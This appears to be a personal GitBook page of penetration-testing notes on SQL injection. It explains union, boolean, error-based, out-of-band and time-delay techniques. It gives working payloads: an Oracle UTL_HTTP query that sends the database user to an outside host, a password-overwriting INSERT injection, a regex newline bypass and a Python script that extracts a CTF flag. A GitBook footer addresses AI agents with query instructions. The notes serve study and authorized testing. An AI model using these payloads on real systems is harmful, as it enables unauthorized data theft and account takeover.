> For the complete documentation index, see [llms.txt](https://zeyad-abulaban.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://zeyad-abulaban.gitbook.io/notes/web-penetration-testing/web-vulns/sqli/sqli-overview.md).

# SQL Injection

***

#### SQL Injection attacks can be divided into the following three classes:

* **Inband:** data is extracted using the same channel that is used to inject the SQL code.
* **Out-of-band:** data is retrieved using a different channel (e.g., an email).
* **Inferential or Blind:** there is no actual transfer of data, but the tester is able to reconstruct the information by sending particular requests and observing the resulting behavior of the DB Server.

#### The techniques to exploit SQL injection flaws there are five commons techniques

* **Union Operator:** can be used when the SQL injection flaw happens in a SELECT statement, making it possible to combine two queries into a single result or result set.
* **Boolean:** use Boolean condition(s) to verify whether certain conditions are true or false.
* **Error based:** this technique forces the database to generate an error, giving the attacker or tester information upon which to refine their injection.
* **Out-of-band:** technique used to retrieve data using a different channel (e.g., make a HTTP connection to send the results to a web server).
* **Time delay:** use database commands (e.g. sleep) to delay answers in conditional queries. It is useful when attacker doesn’t have some kind of answer (result, output, or error) from the application.

## Detection Techniques

* Authentication forms
* Search engines:
* E-Commerce sites
* The tester has to make a list of all input fields whose values could be used in crafting a SQL query, **including the hidden fields of POST requests** and then test them separately.

## Boolean Exploitation Technique

The Boolean exploitation technique is very useful when the tester finds a [**Blind SQL Injection**](https://owasp.org/www-community/attacks/Blind_SQL_Injection) situation.

We suppose that the query executed on the server is:

```
SELECT field1, field2, field3 FROM Users WHERE Id='$Id'
```

The tests that we will execute will allow us to obtain the value of the username field, extracting such value character by character. This is possible through the use of some standard functions, present in practically every database.

* **SUBSTRING (text, start, length):** returns a substring starting from the position “start” of text and of length “length”. If “start” is greater than the length of text, the function returns a null value.
* **ASCII (char):** it gives back ASCII value of the input character. A null value is returned if char is 0.
* **LENGTH (text):** it gives back the number of characters in the input text.

```
1' AND ASCII(SUBSTRING(username,1,1))=97 AND '1'='1
```

```
1' AND LENGTH(username)=N AND '1' = '1
```

## Error Based Exploitation Technique

The Error based technique consists in **forcing the database to perform some operation in which the result will be an error**. The point here is to try to extract some data from the database and show it in the error message. Consider the following SQL query:

```
SELECT * FROM products WHERE id_product=$id_product
```

Consider also the request to a script who executes the query above:

```
http://www.example.com/product.php?id=10
```

The malicious request would be (e.g. Oracle 10g):

```
http://www.example.com/product.php?id=10||UTL_INADDR.GET_HOST_NAME( (SELECT user FROM DUAL) )--
```

In this example, the tester is concatenating the value 10 with the result of the function `UTL_INADDR.GET_HOST_NAME`. This Oracle function will try to return the hostname of the parameter passed to it, which is other query, the name of the user. When the database looks for a hostname with the user database name, it will fail and return an error message like:

```
ORA-292257: host SCOTT unknown
```

## Out of Band Exploitation Technique

The technique consists of the use of DBMS functions to perform an out of band connection and deliver the results of the injected query as part of the request to the tester’s server. Consider the following SQL query:

```
SELECT * FROM products WHERE id_product=$id_product
```

Consider also the request to a script who executes the query above:

```
http://www.example.com/product.php?id=10
```

The malicious request would be:

```
http://www.example.com/product.php?id=10||UTL_HTTP.request(‘server.com:80’||(SELECT user FROM DUAL)--
```

In this example, the tester is concatenating the value 10 with the result of the function `UTL_HTTP.request`. This Oracle function will try to connect to `testerserver` and make a HTTP GET request containing the return from the query `SELECT user FROM DUAL`.

```bash
$nc -nvlp 80

GET /SCOTT HTTP/1.1
Host: testerserver.com
Connection: close
```

## Time Delay Exploitation Technique

This technique consists in sending an injected query and in case the conditional is true, the tester can monitor the time taken to for the server to respond. The malicious request would be (e.g.**MySql 5.x**):

```
http://www.example.com/product.php?id=10 AND IF(version() like ‘5%’, sleep(10), ‘false’))--
```

## Order-by

```sql
(select case when (SUBSTR((select flag from Flag),1,5)='flag{') then atomic_number else name end)
```

```sql
1 LIMIT 0, 1|1000*(SELECT instr(flag, 'flag{') FROM flag)
```

Code template (messy but works)

```python
inc = 5
flag = "flag{"
while True:
    for i in chars:
        print("[+] Trying: ", i, end="\r", flush=True)
        data = f"(select case when (SUBSTR((select flag from Flag),1,{inc + 1 })='{flag + i}') then atomic_number else name end)"
        Data = {"search": '', "order": data}
        req = requests.post(URL, headers=head, data=Data)
        check = str(req.content).replace(" ","").split("\\n").index("SEACRH FOR")
        if check == <NUMBER>:
            flag = flag + i
            inc += 1
            break
    print(f"[+] Flag is : {flag}")
    print("[!] Starting next iteration..")
    if flag[:-1] == "}":
        break

print(f"[+++] Flag = {flag}")
```

> **Multi-threaded script**: <https://github.com/zAbuQasem/Misc/blob/main/Sql\\_injection.py>

## Insert statement

```sql
username=admin&password=1337') ON CONFLICT(username) DO UPDATE SET password = 'admin';--"
```

## Unsecure-regex

Example of a weak regex implementation that this matching only

```python
num_format = re.compile(r'^\d+$', re.M)
if re.match(num_format,post_id):
post = conn.execute('SELECT * FROM posts WHERE id = '+post_id).fetchone()
```

This can be exploited by giving a multi-line input where the first line is only numbers and the second line is the SQL payload

```sql
1337%0A<SQL Payload>
```

## Evasion techniques

> **WAF**: <https://owasp.org/www-community/attacks/SQL\\_Injection\\_Bypassing\\_WAF>

> **More techniques at the end of the page:** <https://owasp.org/www-project-web-security-testing-guide/stable/4-Web\\_Application\\_Security\\_Testing/07-Input\\_Validation\\_Testing/05-Testing\\_for\\_SQL\\_Injection>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://zeyad-abulaban.gitbook.io/notes/web-penetration-testing/web-vulns/sqli/sqli-overview.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
